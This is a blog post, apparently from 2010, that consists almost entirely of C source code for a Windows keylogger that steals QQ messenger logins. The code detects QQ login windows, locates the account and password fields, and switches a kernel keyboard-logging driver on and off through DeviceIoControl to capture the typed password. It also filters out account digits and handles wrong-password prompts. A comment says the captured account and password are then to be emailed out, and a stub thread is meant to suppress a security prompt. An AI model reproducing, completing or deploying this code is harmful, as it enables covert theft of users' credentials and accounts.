 if(strcmp(windowFormTitle,"QQ安全中心")==0)
 {
  passwordError=TRUE;
 }
 return FALSE;
}
BOOL CALLBACK EnumWindowsProcQqLogin( HWND hWnd, LPARAM lParam)
{
 //::WaitForSingleObject(deviceEvent,INFINITE);
 char windowFormTitle[255]="\0";
 HWND hUserName;
 HWND hUserPwd;
 HWND hLoginWindow;
 POINT pni;
 RECT rcWindow;
 DWORD dwBufSize;
 //获得窗口标题
 ::SendMessage(hWnd,WM_GETTEXT,255,(LPARAM)windowFormTitle);
 printf("发现启动了!%s\r\n",windowFormTitle);
 //检查是否是QQ2008,QQ2009,QQ2010
 if(strcmp(windowFormTitle,"QQ2008")==0||strcmp(windowFormTitle,"QQ2009")==0||strcmp(windowFormTitle,"QQ2010")==0)
 {
  printf("发现QQ启动了!\r\n");
  hLoginWindow=hWnd;
  GetWindowRect(hLoginWindow,&rcWindow);
  //获取QQ帐号框的句柄和密码框的句柄
  pni.y=rcWindow.top+115;
  pni.x=rcWindow.left+100;
  hUserName=WindowFromPoint(pni);
   
  pni.y=rcWindow.top+155;
  pni.x=rcWindow.left+100;
  hUserPwd=WindowFromPoint(pni);
  //获得QQ版本
  ::SendMessage(hLoginWindow,WM_GETTEXT,32,(LPARAM)QQVersion);
  //判断当前是否是一个登录窗口
  if(IsQQLoginWindow(hUserPwd))
  {
   printf("很好这个是一个登录窗口!\r\n");
  // MessageBox(NULL,"很好这个是一个登录窗口","消息",MB_OK);
   //memset(UserAccounts,0,32);
   //memset(QQVersion,0,32);
   memset(UserPasswrd,0,32);
   //这个变量用来保存临时的QQ帐号
   CHAR tempAccounts[32];
   memset(tempAccounts,0,32);
   //这个循环用来检测当前是否登录
   //获得QQ号
   ::SendMessage(hUserName,WM_GETTEXT,32,(LPARAM)UserAccounts);
   while(true)
   {
    //判断当前焦点窗口是否是QQ登录窗口
    if(::GetForegroundWindow()==hLoginWindow)
    {
     //printf("当前是QQ登录窗口!%x\r\n",hDevice);
     //Sleep(5000);
     //既然当前是QQ登录窗口那么就该让驱动程序打开键盘记录功能
     DeviceIoControl(hDevice,1,&UserPasswrd,32,&UserPasswrd,32,&dwBufSize,NULL);
    }
    else
    {
     //printf("离开QQ登录窗口!%x\r\n",::GetForegroundWindow());
     //Sleep(5000);
     //如果不是就应该暂停键盘记录功能
     DeviceIoControl(hDevice,2,&UserPasswrd,32,&UserPasswrd,32,&dwBufSize,NULL);
    }
    //printf("6号\r\n");
    //Sleep(5000);
    //问下驱动程序当前新按下多少个按键,这里一般说人按下按键的速度是没这个程序的计算速度快的,最多也只有1个按键按下就呗内部清楚了
    DeviceIoControl(hDevice,6,&UserPasswrd,32,&UserPasswrd,32,&dwBufSize,NULL);
    //转换为数字
    int downCount=atoi(UserPasswrd);
    //获取QQ帐号
    ::SendMessage(hUserName,WM_GETTEXT,32,(LPARAM)tempAccounts);
   // printf("当前输入的是QQ号%s\r\n",tempAccounts);
    //检查QQ号码长度是否有变化
    if(strcmp(UserAccounts,tempAccounts)!=0)
    {
     //printf("当前输入的是QQ号\r\n");
     //Sleep(5000);
     //如果不相等,那么就是输入的QQ号,不是密码
     //把tempAccountscpy到UserAccounts中以便下次检查是输入的QQ号还是密码
     if(strlen(tempAccounts)!=0)
     {
      strcpy(UserAccounts,tempAccounts);
      if(!(strlen(tempAccounts)-strlen(UserAccounts)==1)&&
       !(strlen(UserAccounts)-strlen(tempAccounts)==1))
      {
       //然后向告诉驱动程序,高才记录到的不是密码只一个QQ号码中的某一位,删除错误的密码记录
       DeviceIoControl(hDevice,5,&UserPasswrd,32,&UserPasswrd,32,&dwBufSize,NULL);
      }
     }
    }
    //如果说当前已经不是登录窗口,那么就是已经登录了,就应该记录下完整的QQ帐号和密码
    if(!IsQQLoginWindow(hUserPwd))
    {
     //printf("完成登录!\r\n");
     //Sleep(5000);
     memset(UserPasswrd,0,32);
     //发送去控制码给驱动程序,告诉他我现在需要QQ密码
     DeviceIoControl(hDevice,4,&UserPasswrd,32,&UserPasswrd,32,&dwBufSize,NULL);
     //printf("获取密码成功!\r\n");
     break;
    }
    EnumWindows(EnumWindowsProcQqPasswordError, 0);
    //判断是否输出密码
    if(passwordError)
    {
     //printf("密码错误!\r\n");
     //先清除错误密码
     DeviceIoControl(hDevice,4,&UserPasswrd,32,&UserPasswrd,32,&dwBufSize,NULL);
     //从新打开记录
     //DeviceIoControl(hDevice,1,&UserPasswrd,32,&UserPasswrd,32,&dwBufSize,NULL);
     passwordError=FALSE;
    }
    //为了不让电脑死机还是稍微休息哈
    Sleep(10);
    //Sleep(5000);
   }
   if(strncmp(UserAccounts,UserPasswrd,strlen(UserAccounts))==0)
   {
    for(int i=0;i<(int)strlen(UserPasswrd);i++)
    {
     UserPasswrd=UserPasswrd[strlen(UserAccounts)+i];
    }
   }
   //到达这不就可以调用邮件发送程序,把QQ号和密码发送出去了
   
   //测试期间就先打印出来了
  // MessageBox(NULL,QQVersion,"版本",MB_OK);
  // MessageBox(NULL,UserAccounts,"QQ号",MB_OK);
  // MessageBox(NULL,UserPasswrd,"密码",MB_OK);
   printf("版本:%s\r\n",QQVersion);
   printf("QQ号:%s\r\n",UserAccounts);
   printf("密码:%s\r\n",UserPasswrd);
  }
 }
 return TRUE;
}
bool IsQQLoginWindow(HWND hUserPwd)
{
 LONG lStyle = ::GetWindowLong(hUserPwd, GWL_STYLE);//这个api很有用,可以得到很多东西
 if(lStyle & ES_PASSWORD)
 {
   return true;
 }
 return false;
}
DWORD WINAPI CloseThreadProc(LPVOID lpParameter)
{
 //printf("关闭安全提示线程为工作!\r\n");
 //关闭安全提示
 return 0;
}

posted on 2010-12-15 10:28  ZUDN  阅读(2744)  评论(0编辑  收藏  举报